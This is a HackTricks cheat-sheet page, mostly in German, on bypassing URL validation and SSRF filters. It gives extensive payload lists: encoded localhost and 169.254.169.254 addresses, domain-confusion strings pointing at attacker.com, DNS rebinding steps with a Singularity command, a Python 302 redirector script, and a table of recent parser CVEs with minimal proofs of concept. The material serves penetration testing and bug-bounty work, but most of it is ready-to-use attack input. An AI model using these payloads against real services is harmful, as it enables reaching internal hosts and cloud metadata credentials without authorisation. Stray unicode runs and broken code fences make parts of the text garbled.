URL Format Bypass

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Localhost

Localhost payloads ```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

Die **Burp-Erweiterung** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementiert IP formatting bypasses.

### Domain-Parser

<details>
<summary>Domain-Parser bypasses</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domain Confusion
Domain confusion payloads ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Pfad- und Dateiendungs-Bypass

Wenn verlangt wird, dass die URL mit einem Pfad oder einer Dateiendung endet oder einen Pfad enthalten muss, kannst du einen der folgenden Bypässe versuchen:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann aus einer gegebenen Eingabe Variationen erzeugen, um die verwendete regex zu umgehen. Weitere Informationen findest du in [**this post**](https://0xacb.com/2022/11/21/recollapse/).

### Automatic Custom Wordlists

Schau dir die [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von portswigger an, wo du den erlaubten Host und den des Angreifers eintragen kannst — sie generiert dann eine Liste von URLs, die du ausprobieren kannst. Sie berücksichtigt außerdem, ob du die URL in einem Parameter, im Host header oder in einem CORS header verwenden kannst.


<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Bypass via redirect

Es kann sein, dass der Server die **filtering the original request** einer SSRF vornimmt, **but not** eine mögliche **redirect**-Antwort auf diese Anfrage.\
Zum Beispiel könnte ein Server, der für SSRF über: `url=https://www.google.com/` verwundbar ist, **filtering the url param**. Aber wenn du einen [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) einsetzt, der auf die Stelle antwortet, zu der du weiterleiten möchtest, könntest du möglicherweise **access filtered IP addresses** wie 127.0.0.1 erreichen oder sogar gefilterte **protocols** wie gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>Einfacher Redirector für SSRF-Tests</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

DNS rebinding bypass (2025+)

Selbst wenn ein SSRF-Filter eine einmalige DNS-Auflösung vor dem Senden der HTTP-Anfrage durchführt, kannst du interne Hosts erreichen, indem du die Domain zwischen Auflösung und Verbindung neu bindest:

  1. Weisen victim.example.com eine öffentliche IP zu, damit es die allow‑list / CIDR check besteht.
  2. Stelle eine sehr geringe TTL bereit (oder nutze einen autoritativen Server, den du kontrollierst) und rebind die Domain auf 127.0.0.1 oder 169.254.169.254, kurz bevor die eigentliche Anfrage gestellt wird.
  3. Tools wie Singularity (nccgroup/singularity) automatisieren den autoritativen DNS- + HTTP-Server und enthalten fertige Payloads. Beispielstart: python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.

Diese Technik wurde 2025 verwendet, um den BentoML “safe URL” Patch und ähnliche single‑resolve SSRF-Filter zu umgehen.

Explained Tricks

Backslash-trick

The backslash-trick exploits a difference between the WHATWG URL Standard and RFC3986. While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard’s recognition of the backslash (\) as equivalent to the forward slash (/), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Left square bracket

Das “left square bracket”-Zeichen [ im userinfo-Segment kann dazu führen, dass Spring’s UriComponentsBuilder einen Hostnamen zurückgibt, der sich von dem der Browser unterscheidet: https://example.com[@attacker.com

Other Confusions

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

Bild von https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 Zone Identifier (%25) Trick

Moderne URL-Parser, die RFC 6874 unterstützen, erlauben link-local IPv6-Adressen, einen zone identifier nach einem Prozentzeichen zu enthalten. Manche Sicherheitsfilter sind mit dieser Syntax nicht vertraut und entfernen nur eckig-klammerige IPv6-Literale, sodass die folgende Payload eine interne Schnittstelle erreichen kann:

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Wenn die Zielanwendung überprüft, dass der Host nicht fe80::1 ist, aber das Parsing am % stoppt, kann sie die Anfrage fälschlicherweise als extern behandeln. Normalisiere die Adresse immer vor jeder Sicherheitsentscheidung oder entferne die optionale Zonen‑ID vollständig.

Kürzliche Library‑Parsing‑CVE(s) (2022–2026)

Eine Reihe von Mainstream‑Frameworks litten an Hostname‑Mismatch‑Problemen, die für SSRF ausgenutzt werden können, sobald die URL‑Validierung mit den oben aufgeführten Tricks umgangen wurde:

YearCVEComponentBug synopsisMinimal PoC
2025CVE-2025-0454Python requests + urllib.parse (autogpt)Uneinheitliche Parsing‑Interpretation von http://localhost:\\@google.com/../ lässt allow‑lists denken, der Host sei google.com, während die Anfrage localhost erreicht.requests.get("http://localhost:\\@google.com/../")
2025CVE-2025-2691Node package nossrfBibliothek, die SSRF blockieren soll, prüft nur den ursprünglichen Hostnamen, nicht die resolved IP, wodurch Hostnamen zugelassen werden, die auf private Bereiche auflösen.curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1
2024CVE-2024-29415Node ip packageisPublic() klassifizierte dotted‑octal / Kurzform‑localhost (z. B. 0127.0.0.1, 127.1) fälschlicherweise als public, sodass Filter interne Ziele akzeptierten.ip.isPublic('0127.0.0.1') returns true on vulnerable versions
2024CVE-2024-3095Langchain WebResearchRetrieverKeine Host‑Filterung; GET‑Requests konnten IMDS/localhost von AI agents erreichen.User‑controlled URL inside WebResearchRetriever
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ in userinfo wird von Spring anders geparst als von Browsern, was allow‑list‑Bypass ermöglicht.https://example.com\[@internal
2023CVE-2023-27592urllib3 <1.26.15Backslash‑Verwirrung erlaubte http://example.com\\@169.254.169.254/, um Host‑Filter zu umgehen, die auf @ splitten.
2022CVE-2022-3602OpenSSLHostname‑Verifikation übersprungen, wenn der Name mit einem . endet (dotless‑domain‑Verwirrung).

Payload‑generation helpers (2024+)

Das manuelle Erstellen großer, individueller Word‑Lists ist mühsam. Das Open‑Source‑Tool SSRF-PayloadMaker (Python 3) kann jetzt 80 k+ Host‑Mangle‑Kombinationen automatisch erzeugen, inklusive gemischter Encodings, erzwungener HTTP‑Downgrade und Backslash‑Varianten:

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

Die resultierende Liste kann direkt in Burp Intruder oder ffuf eingespeist werden.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks